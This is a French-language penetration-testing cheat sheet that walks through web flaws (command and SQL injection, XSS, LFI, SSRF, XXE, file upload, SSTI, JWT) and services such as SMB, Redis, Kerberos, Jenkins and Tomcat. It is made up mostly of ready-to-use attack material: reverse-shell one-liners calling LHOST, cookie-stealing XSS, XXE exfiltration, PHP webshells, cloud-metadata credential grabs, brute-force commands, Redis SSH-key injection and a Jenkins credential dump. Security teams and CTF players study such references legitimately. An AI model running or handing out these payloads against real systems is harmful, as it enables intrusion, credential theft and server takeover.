TACTIQUES DE PENTEST
Guide de référence complet pour mener des tests d'intrusion. Des techniques offensives aux méthodes d'exploitation — accessible aux débutants comme aux experts.
INJECTION DE COMMANDE
Une injection de commande survient quand des données non validées sont transmises à un interpréteur système. L'attaquant peut exécuter des commandes arbitraires avec les privilèges du processus serveur.
Tester les paramètres avec des séparateurs de commandes classiques :
; id
| id
|| id
&& id
` id`
$(id)
%0a id # newline (URL encoded)# Espacements alternatifs cat${IFS}/etc/passwd cat$IFS/etc/passwd # Concaténation c'a't /etc/passwd c"a"t /etc/passwd # Variables ${PATH:0:1} # = / $((1+1)) # = 2 # Wildcard /???/p????d # = /bin/passwd
# Bash bash -i >& /dev/tcp/LHOST/LPORT 0>&1 # Python python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # Netcat nc -e /bin/sh LHOST LPORT rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f
nc -lvnp LPORTINJECTION SQL
Manipulation de requêtes SQL via des entrées non filtrées pour extraire des données, contourner l'authentification ou exécuter des commandes système.
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' OR 1=1#
1' ORDER BY 1--
1' ORDER BY 2-- # augmenter jusqu'à erreur# Trouver le nombre de colonnes ' ORDER BY 1-- ' ORDER BY 2-- ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- # Extraire les données ' UNION SELECT table_name,NULL FROM information_schema.tables-- ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT username,password FROM users--
# Détection basique sqlmap -u "http://target.com/page?id=1" # Dump complet sqlmap -u "URL" --dbs sqlmap -u "URL" -D dbname --tables sqlmap -u "URL" -D dbname -T table --dump # POST request sqlmap -u "URL" --data="user=admin&pass=test" -p user # RCE via OS shell sqlmap -u "URL" --os-shell
admin'--
admin'#
' OR 1=1--
' OR '1'='1'--
admin' OR '1'='1
') OR ('1'='1SCRIPTS INTER-SITES (XSS)
Injection de scripts malveillants dans les pages web. Permet le vol de cookies, l'enregistrement de frappes, la redirection ou la prise de contrôle de sessions utilisateurs.
<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> "><script>alert(1)</script> '><script>alert(1)</script> </title><script>alert(1)</script>
<script>document.location='http://LHOST/steal?c='+document.cookie</script> <script>fetch('http://LHOST/?c='+btoa(document.cookie))</script> <img src=x onerror="this.src='http://LHOST/?c='+document.cookie">
python3 -m http.server 80 — les cookies apparaîtront dans les logs.<ScRiPt>alert(1)</ScRiPt>
<script>eval(atob('BASE64_PAYLOAD'))</script>
<img src=1 oNeRrOr=alert(1)>
<svg/onload=alert`1`>
<details/open/ontoggle=alert(1)>LFI / TRAVERSÉE DE CHEMIN
Lecture de fichiers arbitraires sur le serveur via des paramètres manipulés. Peut aboutir à une RCE via empoisonnement de logs ou inclusion de fichiers déposés.
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
/etc/passwd%00 # null byte (PHP < 5.3)
....\/....\/etc/passwd# Linux /etc/passwd /etc/shadow /etc/hosts /home/user/.ssh/id_rsa /var/log/apache2/access.log /proc/self/environ /proc/net/tcp # Windows C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\xampp\htdocs\config.php
# 1. Injecter un payload PHP dans les logs via User-Agent curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ # 2. Inclure le log via LFI avec commande http://target.com/?page=../../../var/log/apache2/access.log&cmd=id
FALSIFICATION DE REQUÊTE CÔTÉ SERVEUR
Forcer le serveur à émettre des requêtes HTTP vers des ressources internes ou externes normalement inaccessibles depuis l'extérieur.
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://[::1]/
http://169.254.169.254/ # AWS metadata
http://metadata.google.internal/http://2130706433/ # 127.0.0.1 en décimal http://0x7f000001/ # 127.0.0.1 en hex http://127.1/ http://127.0.0.1.nip.io/ http://evil.com@127.0.0.1/ http://127.0.0.1#evil.com
http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/user-data/
ENTITÉ EXTERNE XML
Exploitation d'un parseur XML mal configuré pour lire des fichiers locaux, effectuer des requêtes internes (SSRF) ou provoquer un déni de service.
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://LHOST/evil.dtd"> %xxe; ]> # evil.dtd sur votre serveur : <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://LHOST/?d=%file;'>"> %eval; %exfil;
UPLOAD DE FICHIER
Dépôt de fichiers malveillants pour obtenir une webshell ou un shell inversé. Exploite les filtres mal implémentés sur l'extension, le type MIME ou le contenu.
# Minimal <?php system($_GET['cmd']); ?> # One-liner <?php echo shell_exec($_REQUEST['c']); ?> # Utilisation http://target.com/uploads/shell.php?cmd=id
# Extensions alternatives shell.php5 shell.phtml shell.phar shell.php.jpg shell.PhP shell.php%00.jpg # Changer le Content-Type Content-Type: image/jpeg # au lieu de application/x-php # Magic bytes (ajouter au début du fichier) GIF89a;<?php system($_GET['cmd']); ?>
RÉFÉRENCE DIRECTE NON SÉCURISÉE
Accès à des objets non autorisés en manipulant des identifiants exposés dans les URLs, paramètres ou corps de requêtes.
# URL parameter /api/users/1337/profile → /api/users/1/profile # Body parameter {"user_id": 1337} → {"user_id": 1} # Guid/UUID — énumération /files/uuid-here → brute force ou prédiction # HTTP methods GET /api/user/2 → PUT /api/user/2 {"role":"admin"}
INJECTION DE TEMPLATE CÔTÉ SERVEUR
Injection dans un moteur de templates côté serveur pour exécuter du code arbitraire. La syntaxe varie selon le moteur utilisé (Jinja2, Twig, Pebble...).
${{<%[%'"}}%\ # polyglotte — déclenche erreur si SSTI
{{7*7}} # → 49 (Jinja2, Twig)
${7*7} # → 49 (Freemarker)
#{ 7 * 7 } # → 49 (Ruby ERB){{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}ATTAQUES JWT
Les JSON Web Tokens mal implémentés permettent de falsifier une identité, de contourner l'authentification ou d'élever ses privilèges.
# Décoder un JWT (3 parties séparées par .) echo -n "HEADER" | base64 -d echo -n "PAYLOAD" | base64 -d # Ou avec jwt_tool python3 jwt_tool.py TOKEN
# 1. alg:none — supprimer la signature {"alg":"none","typ":"JWT"} # 2. Brute force secret (HS256) hashcat -a 0 -m 16500 token.txt wordlist.txt python3 jwt_tool.py TOKEN -C -d wordlist.txt # 3. RS256 → HS256 confusion python3 jwt_tool.py TOKEN -X k -pk public.pem # 4. Modifier le payload python3 jwt_tool.py TOKEN -T # mode tamper interactif
FTP
Protocole de transfert de fichiers en clair. Souvent mal configuré avec des accès anonymes ou des mots de passe faibles.
# Nmap nmap -sV -p 21 TARGET nmap -sV --script ftp-anon,ftp-bounce,ftp-syst -p 21 TARGET # Connexion anonyme ftp TARGET # user: anonymous pass: anonymous (ou vide)
ftp TARGET ls -la get file.txt put shell.php binary # mode binaire pour les fichiers non-texte mget * # télécharger tous les fichiers
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://TARGET hydra -L users.txt -P passwords.txt ftp://TARGET -t 4
SSH
Accès distant chiffré. Vecteurs d'attaque : force brute, clés privées exposées, mauvaises configurations, CVE sur versions obsolètes.
nmap -sV -p 22 TARGET nmap --script ssh-auth-methods,ssh-hostkey -p 22 TARGET ssh -V # version locale nc TARGET 22 # banner grabbing
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET medusa -h TARGET -u root -P rockyou.txt -M ssh
# Si une clé est trouvée (id_rsa) chmod 600 id_rsa ssh -i id_rsa user@TARGET # Craquer la passphrase ssh2john id_rsa > hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Redirection de port locale ssh -L 8080:TARGET_INTERNAL:80 user@TARGET # Proxy SOCKS ssh -D 1080 user@TARGET # puis utiliser proxychains
SMB
Protocole de partage de fichiers Windows. Vecteur d'attaque fréquent : sessions nulles, EternalBlue, pass-the-hash, attaques par relais.
nmap -sV --script smb-enum-shares,smb-enum-users,smb-vuln* -p 445 TARGET # Enum4linux enum4linux -a TARGET # SMBClient smbclient -L //TARGET/ -N # null session smbclient //TARGET/share -U user # CrackMapExec crackmapexec smb TARGET -u '' -p '' crackmapexec smb TARGET -u user -p pass --shares
# NTLM hash obtenu (mimikatz, secretsdump...) crackmapexec smb TARGET -u admin -H NTLM_HASH psexec.py domain/admin@TARGET -hashes :NTLM_HASH
nmap --script smb-vuln-ms17-010 -p 445 TARGET # Metasploit use exploit/windows/smb/ms17_010_eternalblue set RHOSTS TARGET run
HTTP / HTTPS
Premier vecteur d'attaque sur la majorité des CTF. Énumération de répertoires, identification de technologies, fuzzing de paramètres.
# WhatWeb — technologies whatweb http://TARGET # Curl — headers curl -I http://TARGET curl -v http://TARGET # Nikto — scan vulnérabilités nikto -h http://TARGET
# Feroxbuster feroxbuster -u http://TARGET -w /usr/share/wordlists/dirb/common.txt # Gobuster gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -x php,html,txt # FFUF ffuf -u http://TARGET/FUZZ -w wordlist.txt ffuf -u http://TARGET/?FUZZ=test -w params.txt # param fuzzing
curl -X OPTIONS http://TARGET -v # lister les méthodes curl -X PUT http://TARGET/shell.php -d '<?php system($_GET["c"]); ?>' curl -X TRACE http://TARGET # XST attack
MySQL
Base de données relationnelle exposée sur le réseau. Mots de passe faibles, accès root sans authentification, lecture/écriture de fichiers système.
nmap -sV --script mysql-info,mysql-databases,mysql-empty-password -p 3306 TARGET mysql -h TARGET -u root -p mysql -h TARGET -u root # sans mot de passe # Commandes utiles SHOW databases; USE dbname; SHOW tables; SELECT * FROM users;
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
secure_file_priv soit vide ou pointe vers le bon répertoire.# Avec sqlmap sqlmap -u "URL" --dbms=mysql --os-shell # Manuel via raptor_udf use exploit/multi/mysql/mysql_udf_payload # Metasploit
Redis
Serveur de cache souvent exposé sans authentification. Permet d'injecter des clés SSH, des tâches cron malveillantes ou d'écrire des webshells.
nmap -sV --script redis-info -p 6379 TARGET redis-cli -h TARGET redis-cli -h TARGET -a password INFO server INFO keyspace KEYS * GET keyname
# Générer une paire de clés ssh-keygen -t rsa -f redis_key # Sur redis-cli config set dir /root/.ssh/ config set dbfilename authorized_keys set hacked "\n\nVOTRE_CLÉ_PUBLIQUE\n\n" save # Connexion ssh -i redis_key root@TARGET
config set dir /var/www/html/ config set dbfilename shell.php set shell "<?php system(\$_GET['cmd']); ?>" save
Kerberos
Protocole d'authentification Active Directory. Vecteur d'attaques puissantes : AS-REP Roasting, Kerberoasting, Pass-the-Ticket, Golden/Silver Ticket.
Cibler les comptes sans pré-authentification Kerberos requise.
# GetNPUsers (Impacket) GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -dc-ip DC_IP # Crack du hash hashcat -m 18200 hashes.txt rockyou.txt john hashes.txt --wordlist=rockyou.txt
Extraire des tickets de service (TGS) et craquer les mots de passe hors-ligne.
# GetUserSPNs (Impacket) GetUserSPNs.py domain.local/user:pass -dc-ip DC_IP -request # Crack hashcat -m 13100 tickets.txt rockyou.txt
# Importer un ticket .ccache export KRB5CCNAME=ticket.ccache psexec.py -k -no-pass domain.local/admin@TARGET
SMTP
Protocole d'envoi d'emails. Permet l'énumération d'utilisateurs via VRFY/EXPN et peut servir de relais ouvert.
nmap --script smtp-enum-users,smtp-commands -p 25 TARGET # Manuellement via telnet telnet TARGET 25 HELO test VRFY root EXPN admins
smtp-user-enum -M VRFY -U users.txt -t TARGET smtp-user-enum -M RCPT -U users.txt -D domain.com -t TARGET
DNS
Système de noms de domaine. Vecteurs : transfert de zone, énumération de sous-domaines, empoisonnement de cache DNS.
dig axfr @TARGET domain.com host -l domain.com TARGET dnsrecon -d domain.com -a
dnsrecon -d domain.com -D wordlist.txt -t brt gobuster dns -d domain.com -w wordlist.txt ffuf -u http://FUZZ.domain.com -w wordlist.txt -H "Host: FUZZ.domain.com"
LDAP
Protocole d'annuaire — souvent Active Directory. Liaison anonyme, énumération d'utilisateurs et de groupes.
nmap -sV --script ldap-search -p 389 TARGET # Anonymous bind ldapsearch -x -H ldap://TARGET -b "dc=domain,dc=local" ldapsearch -x -H ldap://TARGET -b "dc=domain,dc=local" "(objectClass=person)" # Avec credentials ldapsearch -x -H ldap://TARGET -D "user@domain.local" -w "pass" -b "dc=domain,dc=local"
RDP
Protocole d'accès graphique distant Windows. Force brute, BlueKeep (CVE-2019-0708), DejaBlue, vol de session.
nmap -sV --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 TARGET hydra -l administrator -P rockyou.txt rdp://TARGET crowbar -b rdp -s TARGET/32 -u admin -C passwords.txt
xfreerdp /u:user /p:pass /v:TARGET xfreerdp /u:user /pth:NTLM_HASH /v:TARGET # pass-the-hash rdesktop TARGET
MSSQL
Microsoft SQL Server. xp_cmdshell pour exécuter des commandes système, serveurs liés pour le pivoting, capture de hash NTLM.
mssqlclient.py user:pass@TARGET mssqlclient.py domain/user:pass@TARGET -windows-auth # Activer xp_cmdshell EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; # Exécuter commandes EXEC xp_cmdshell 'whoami'; EXEC xp_cmdshell 'powershell -enc BASE64_PAYLOAD';
PostgreSQL
Base de données open-source. COPY FROM/TO pour lire/écrire des fichiers, extensions pour l'exécution de code.
psql -h TARGET -U postgres -W # Lire un fichier COPY data FROM '/etc/passwd'; SELECT * FROM data; # RCE via extension CREATE TABLE cmd_exec(cmd_output TEXT); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
MongoDB
Base de données NoSQL souvent exposée sans authentification. Injection NoSQL, extraction de données, accès non authentifié.
mongo TARGET:27017 mongo TARGET:27017/dbname -u user -p pass show dbs use dbname show collections db.collection.find()
# Login bypass (JSON body) {"username": {"$ne": null}, "password": {"$ne": null}} {"username": "admin", "password": {"$gt": ""}} # URL parameter ?username[$ne]=x&password[$ne]=x
NFS
Système de fichiers réseau Linux. Montage sans authentification, lecture de fichiers sensibles, élévation de privilèges via usurpation d'UID.
nmap -sV --script nfs-ls,nfs-showmount -p 2049 TARGET showmount -e TARGET # Monter le partage mkdir /mnt/nfs mount -t nfs TARGET:/share /mnt/nfs -o nolock ls -la /mnt/nfs
# Si no_root_squash est activé cp /bin/bash /mnt/nfs/bash chmod +s /mnt/nfs/bash # SUID depuis root local # Sur la machine cible /tmp/bash -p # shell root
SNMP
Protocole de supervision réseau. Les chaînes de communauté par défaut (public/private) permettent une énumération complète du système.
nmap -sU --script snmp-info,snmp-sysdescr -p 161 TARGET # snmpwalk snmpwalk -c public -v1 TARGET snmpwalk -c public -v2c TARGET 1.3.6.1.4.1.77.1.2.25 # users Windows # Brute force community strings onesixtyone -c communities.txt TARGET
Docker
API Docker exposée sans TLS, évasion de conteneur via montages de volumes, abus du socket Docker pour l'élévation de privilèges.
# Lister les conteneurs curl http://TARGET:2375/containers/json # Exécuter une commande dans un conteneur docker -H TARGET:2375 ps docker -H TARGET:2375 exec -it container_id /bin/sh
# Si /var/run/docker.sock est accessible depuis le conteneur
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine chroot /host shVNC
Accès graphique distant. Souvent sans authentification ou protégé par des mots de passe triviaux.
nmap -sV --script vnc-info,vnc-brute -p 5900 TARGET hydra -P passwords.txt vnc://TARGET msf> use auxiliary/scanner/vnc/vnc_login
vncviewer TARGET:5900 vncviewer TARGET:5900 -passwd password.txt
Jenkins
Serveur d'intégration continue. La console Groovy Script permet une RCE directe. Les credentials stockés peuvent être extraits.
# Accès : /script (nécessite admin) println "id".execute().text println "cat /etc/passwd".execute().text # Reverse shell def cmd = "bash -c {echo,BASE64_REVSHELL}|{base64,-d}|bash" cmd.execute()
# Via Script Console
import com.cloudbees.plugins.credentials.*
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class,
Jenkins.instance, null, null)
creds.each { println it.username + " : " + it.password }Apache Tomcat
Serveur d'application Java. Le Manager permet de déposer des fichiers WAR malveillants pour obtenir une webshell. Identifiants par défaut très répandus.
admin:admin admin:tomcat tomcat:tomcat tomcat:s3cret manager:manager
# Générer un fichier WAR malveillant avec msfvenom msfvenom -p java/jsp_shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f war -o shell.war # Déposer via curl curl -u user:pass http://TARGET:8080/manager/text/deploy?path=/shell --upload-file shell.war # Déclencher curl http://TARGET:8080/shell/
use exploit/multi/http/tomcat_mgr_upload set RHOSTS TARGET set HttpUsername user set HttpPassword pass run
Telnet
Protocole d'accès distant non chiffré, largement obsolète. Présent sur de vieux équipements réseau ou en CTF. Force brute, récupération de bannière.
telnet TARGET 23 nmap -sV --script telnet-ntlm-info -p 23 TARGET hydra -l admin -P rockyou.txt telnet://TARGET